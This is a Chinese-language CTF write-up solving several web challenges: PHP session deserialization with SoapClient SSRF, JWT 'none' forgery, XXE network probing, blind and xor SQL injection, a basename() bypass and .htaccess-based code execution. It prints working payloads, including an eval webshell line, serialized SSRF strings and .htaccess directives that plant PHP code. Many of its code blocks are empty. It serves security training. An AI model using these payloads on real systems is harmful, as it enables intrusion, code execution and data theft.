bestphp’s revenge
知识点:SESSION反序列化、php原生类ssrf
[HFCTF2020]EasyLogin
知识点:jwt 伪造
NCTF2019]True XML cookbook
知识点:xxe内网探测
[GYCTF2020]Ezsqli
知识点:盲注、无列名注入
[ZerOpts2020]Can you guess it?
知识点:basename()函数缺陷
[XNUCA2019Qualifier]EasyPHP
知识点:.htaccess文件写入利用
[网鼎杯2018]Unfinish
知识点:异或注入
bestphp’s revenge
考点:SESSION反序列化、SSRF、PHP原生类利用
源码:
1 |
|
相关语法
call_user_func
call_user_func($filter, $value)
,这个函数的作用是把第一个参数作为回调函数调用
例:
1 |
|
该函数不仅可以调用自定义函数,还可以调用php内置函数,比如extract
extract
extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量
当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调
例:
1 |
|
SESSION反序列化
参考文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid
来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
- 在默认配置情况下:
1 |
|
在D:\phpstudy_pro\wamp64\tmp中储存文件名是sess_ac6df8h5uipildrmf4lm79agd7
,文件的内容是name|s:5:"CyzCc";
。name是键值,s:5:"CyzCc";
是serialize("CyzCc")
的结果
- 在php_serialize引擎下
1 |
|
SESSION文件的内容是a:1:{s:4:"name";s:5:"CyzCc";}
。a:1
是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
- 在php_binary引擎下:
1 |
|
SESSION文件的内容是口names:5:"CyzCc";
。由于name
的长度是4,4在ASCII表中对应的就是EOT
。根据php_binary的存储规则,最后就是口names:5:"CyzCc";
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
1 | $_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}'; |
上述的$_SESSION的数据使用php_serialize
,那么最后的存储的内容就是a:1:{s:5:"CyzCc";s:24:"|O:11:"PeopleClass":0:{}";}
。
但是我们在进行读取的时候,选择的是php
,那么最后读取的内容是:
1 | array (size=1) |
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:5:"CyzCc";s:24:"
作为SESSION的key,将O:11:"PeopleClass":0:{}
作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
1.php
1 |
|
22.php
1 |
|
在1.php和22.php中所使用的SESSION的引擎不一样,就形成了一个漏洞,1.php使
用php_serialize
,22.php使用php来处理session
访问1.php的时候,通过a传入a=|O:5:"lemon":1:{s:2:"hi";s:13:"echo "12345";";}
此时生成的session为a:1:{s:5:"CyzCc";s:47:"|O:5:"lemon":1:{s:2:"hi";s:13:"echo "12345";";}";}
这时候再去访问22.php,发现成功实例化了lemon这个类,并且执行了echo。因为在访问22.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法
php原生类进行ssrf
由于源码中没有类,所以可以使用php原生类进行反序列化
利用php原生类SoapClient中的__call方法进行SSRF
解题思路:
利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可
解题
扫描目录得到flag.php,访问显示只能本地访问
明显需要利用ssrf来进行攻击
利用回调函数覆盖session序列化引擎为php_serilaze
构造SSRF的Soap类的序列化字符串
1 |
|
得到
1 | |O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D |
通过上面覆盖的序列化引擎将该payload字符串写入session文件
此时session_start()序列化使用的是php引擎。接下来使用extract覆盖变量b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID。
之后修改PHPSESSID即可获得flag
解析 payload
- 第一步,f传的值和post的值使其使用php_serialize引擎。而name的值就是将我们的name值以php_serialize引擎的格式存储起来。
- 这次发的请求使用的是默认的php引擎,我们f传值和post传值来使
call_user_func($b, $a);
变成call_user_func($a);
而$a 为一个数组且第一个值就是我们传入的SoapClient作为类,而第二个值welcome_to_the_lctf2018
为方法,很显然没这个方法从而调用SoapClient的__call
函数、执行ssrf。 - 最后就是已我们设置的cookie去访问了,它会返回
$_SESSION
而此时我们的flag已经在里面了。
参考文章:
https://www.smi1e.top/lctf2018-bestphps-revenge-%E8%AF%A6%E7%BB%86%E9%A2%98%E8%A7%A3/
https://mayi077.gitee.io/2020/05/04/bestphp-s-revenge/
[HFCTF2020]EasyLogin
考点:jwt 伪造
打开题目为一个登陆框,可以注册用户
注册登录后猜测应该是需要admin登陆才能得到flag
先注册一个用户,在登陆的时候抓包
发现有一个jwt格式的字符串,解密
这里直接设置secretid为数组加密算法为空,修改username为admin即可
1 | {"alg":"none","typ":"JWT"}. |
将上面的字符串进行两次base64编码,之后拼接。每一段后面的.
不能省略
登陆成功
点击getflag再抓包go一次即可
[NCTF2019]True XML cookbook
知识点:xxe探测内网
题目给出为xxe,直接抓包构造payload:
1 | "1.0" xml version= |
读取文件成功,之后读取/etc/hosts文件
发现一个ip,使用http协议访问。显示不存在,之后通过burp去爆破发现173.198.168.11
存在,访问得到flag
[GYCTF2020]Ezsqli
知识点:盲注,无列名注入
sql注入,只有一个输入框,进行抓包测试
测试之后确定可以使用bool盲注,当条件不成立的时候回显Error Occured When Fetch Result.
fuzz一下过滤的字符串
可以先把数据库名跑出来
1 | import requests |
得到数据库名为give_grandpa_pa_pa_pa
表名
1 | 1 && ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),6,1))>44 |
过滤了information.schema.tables,可以用sys.schema_table_statistics_with_buffer代替
得到表名为:f1ag_1s_h3r3_hhhhh
但是我们无法得到列名,这时候需要使用无列名注入
无列名注入
参考文章:https://www.gem-love.com/ctf/1782.html
这里用到了ascii位偏移
payload:
1 | import requests |
得到flag转换为小写即可
参考文章:https://blog.csdn.net/weixin_43940853/article/details/106164162
[Zer0pts2020]Can you guess it?
源码:
1 |
|
$_SERVER[‘PHP_SELF’]
获取当前 php 文件相对于网站根目录的位置地址
当输入的guess与$secret相等时输出flag,但是几乎 不可能。
之后发现传入source之后可以highlight_file读取文件,并且过滤掉了config.php,所以这里应该是突破点。
)当我访问index.php/config.php时,浏览器仍然访问的是index.php,但经过basename()后,传进highlight_file()函数的文件名就变成了config.php,如果能绕过那个正则,就可以得到config.php源码获取flag
正则表达式/config\.php\/*$/i
匹配的为$_SERVER[‘PHP_SELF’]的结尾,这里可以通过%0d进行污染绕过,这样仍然访问的index.php
从 https://bugs.php.net/bug.php?id=62119 找到了basename()函数的一个问题,它会去掉文件名开头的非ASCII值:
1 | var_dump(basename("xffconfig.php")); // => config.php |
所以可以构造payload
index.php/config.php/%ff?source
参考文章:https://blog.csdn.net/qq_43801002/java/article/details/105835367
[XNUCA2019Qualifier]EasyPHP
源码:
1 |
|
代码逻辑:先删除当前目录下除index.php外的所有文件,然后包含fl3g.php,如果存在content和filename,就将content拼接后写入filename
尝试写一个一句话木马
1 | ?content=20eval($_POST[a]); &filename=shell.php % |
可以看到php代码并没有解析,可以通过直接写入.htaccess
文件来 get flag。
- 每次都会
unlink
删除当前所有除index.php 外的文件- 有 on / html / type / flag / upload / file 关键字大小写过滤
- 文件自动包含
fl3g.php
,但是文件名有/[^a-z\.]/
正则限制- 最后还会有
\n
换行追加数据导致.htaccess
解析错误的限制
在.htaccess
当中可以使用几种类型格式来更改 php 配置
1 | php_value name value |
flag
被作为关键字过滤了,但是无论是php_flag
还是php_amdin_flag
只是php_value
的简化,能通过php_flag
设置的参数我们大部分还是都可以用php_value
去设置
error_log
error_log
可以把error_reporting
设置的错误等级写入到设置的文件当中,这个看起来我们可以利用该函数来就进行报错写入文件,但是对于一开始就删除当前文件夹下所有文件的操作,即使我们可以写入自定义内容,也会被删除。所以我们可能还需要找另外一条路径使得该文件可以保存下来
include_path
include_path可以指定include
等包含函数包含的环境路径,而题目代码使用的是scandir('./');
作为获取当前文件的操作,只是删除当前文件,而error_log
又可以指定路径。所以我们大概可以有这么个思路:
- 使用
error_log
指定一个非当前文件路径的可写路径,例如/tmp/fl3g.php
- 利用
include_path
指定包含的环境路径为/tmp
- 这样
include
包含的时候,就是包含到了/tmp/fl3g.php
这样就可以绕过删除当前文件夹下所有文件的操作了。
本地试试一下,在当前目录下一个.htaccess文件,内容为
1 | php_value error_log /tmp/fl3g.php |
访问index.php
,报错
发现报错当中存在我们写入.htaccess文件当中的路径,尝试修改路径为恶意代码达到getshell的目的
1 | php_value error_log /tmp/fl3g.php |
但是尖括号被html编码了,这里可以先用 UTF-7 编码写入,再利用.htaccess
解码 UTF-7
先尝试利用 UTF-7 编码我们需要插入的恶意代码,写入.htaccess
的文件内容如下:
1 | php_value include_path "D:/phpstudy_pro/wamp64/tmp/xx/+ADw?php phpinfo()+ADs?+AD4-" |
访问index.php报错将日志写入D:/phpstudy_pro/wamp64/tmp/fl3g.php中
之后写入.htaccess新的配置
1 | php_value zend.multibyte 1 |
访问index.php成功执行恶意代码
该题中最后的\nJust one chance
影响到了.htaccess
文件解析,所以需要利用#
注释符将整句话都注视掉,但是又由于有\n
换行符的存在,我们不能直接使用#
就将其注释掉,需要使用\
将其注释掉
解题
通过python进行文件写入
1 | import requests |
参考文章:http://blog.zeddyu.info/2019/10/03/xnuca-2019-ezphp
[网鼎杯2018]Unfinish
题目为一个登陆界面,通过扫描目录发现了register.php,注册后登陆
但是没有一个功能点,所以应该从注册和登陆界面入手,猜测存在二次注入
注入点在注册页面的username处
当注册失败的时候返回200,成功则返回302
1.出现黑名单字符,返回 nnnnoooo!!!
2.语句不正确,返回200
3.语句正确,返回302跳转至login.php
fuzz一下过滤的字符
这里需要使用异或注入,构造payload
1 | email=1111@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=1111 |
登陆得到用户名
两次hex解码后得到数据库名为web
至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。
然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:
所以这里我们使用 substr 每次取10个字符长度与 ‘0’ 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(‘test’ from 1 for 10) 这种写法来绕过,具体获取 flag 的payload如下:
1 0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0
大佬的脚本
1 | import requests as req |
1 | 参考文章:https://mochazz.github.io/2018/08/23/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%BA%8C%E5%9C%BAWeb%E9%A2%98%E8%A7%A3/#unfinished |